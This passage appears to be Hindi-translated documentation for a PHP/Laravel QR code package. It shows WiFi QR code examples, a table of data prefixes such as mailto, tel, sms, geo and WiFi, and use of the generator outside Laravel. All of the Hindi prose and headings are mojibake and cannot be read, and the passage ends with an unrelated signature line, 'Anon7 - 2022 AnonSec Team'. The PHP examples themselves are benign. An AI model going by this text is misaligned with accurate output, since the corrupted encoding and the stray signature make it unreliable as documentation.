	//Connects to an open WiFi network.
	QrCode::wiFi([
		'ssid' => 'Network Name',
	]);
	
	//Connects to an open, hidden WiFi network.
	QrCode::wiFi([
		'ssid' => 'Network Name',
		'hidden' => 'true'
	]);
	
	//Connects to an secured, WiFi network.
	QrCode::wiFi([
		'ssid' => 'Network Name',
		'encryption' => 'WPA',
		'password' => 'myPassword'
	]);
	
>рд╡рд╛рдИ-рдлрд╛рдИ рд╕реНрдХреИрдирд┐рдВрдЧ Apple рдЙрддреНрдкрд╛рджреЛрдВ рдореЗрдВ рдЕрднреА рд╕рдорд░реНрдерд┐рдд рдирд╣реА рд╣реИред

<a id="docs-common-usage"></a>
## рд╕рд╛рдзрд╛рд░рдг QrCode рдЙрдкрдпреЛрдЧ

рдЖрдк рдирд┐рдореНрди рддрд╛рд▓рд┐рдХрд╛ рдореЗ рд╕реЗ `generate` рдЕрдиреБрднрд╛рдЧ рдореЗ рдкрд╛рдП рдЧрдпреЗ рдЙрдкрд╕рд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП QrCode рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

	QrCode::generate('http://www.simplesoftware.io');


| рдкреНрд░рдпреЛрдЧ | рдЙрдкрд╕рд░реНрдЧ | рдЙрджрд╛рд╣рд░рдг |
| --- | --- | --- |
| Website URL | http:// | http://www.simplesoftware.io |
| Secured URL | https:// | https://www.simplesoftware.io |
| E-mail Address | mailto: | mailto:support@simplesoftware.io |
| Phone Number | tel: | tel:555-555-5555 |
| Text (SMS) | sms: | sms:555-555-5555 |
| Text (SMS) With Pretyped Message | sms: | sms::I am a pretyped message |
| Text (SMS) With Pretyped Message and Number | sms: | sms:555-555-5555:I am a pretyped message |
| Geo Address | geo: | geo:-78.400364,-85.916993 |
| MeCard | mecard: | MECARD:Simple, Software;Some Address, Somewhere, 20430;TEL:555-555-5555;EMAIL:support@simplesoftware.io; |
| VCard | BEGIN:VCARD | [See Examples](https://en.wikipedia.org/wiki/VCard) |
| Wifi | wifi: | wifi:WEP/WPA;SSID;PSK;Hidden(True/False) |

<a id="docs-outside-laravel"></a>
## рд▓рд░рд╛рд╡реЗрд▓(Laravel) рдХреЗ рдмрд╛рд╣рд░ рдЙрдкрдпреЛрдЧ

рдЖрдк `BaconQrCodeGenerator` рдирдордХ рдирдпреА рдХрдХреНрд╖рд╛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдХреЗ рдЗрд╕ рдкреИрдХреЗрдЬ рдХрд╛ рд▓рд░рд╛рд╡реЗрд▓ рдХреЗ рдмрд╛рд╣рд░ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

	use SimpleSoftwareIO\QrCode\BaconQrCodeGenerator;

	$qrcode = new BaconQrCodeGenerator;
	$qrcode->size(500)->generate('Make a qrcode without Laravel!');

Anon7 - 2022
AnonSec Team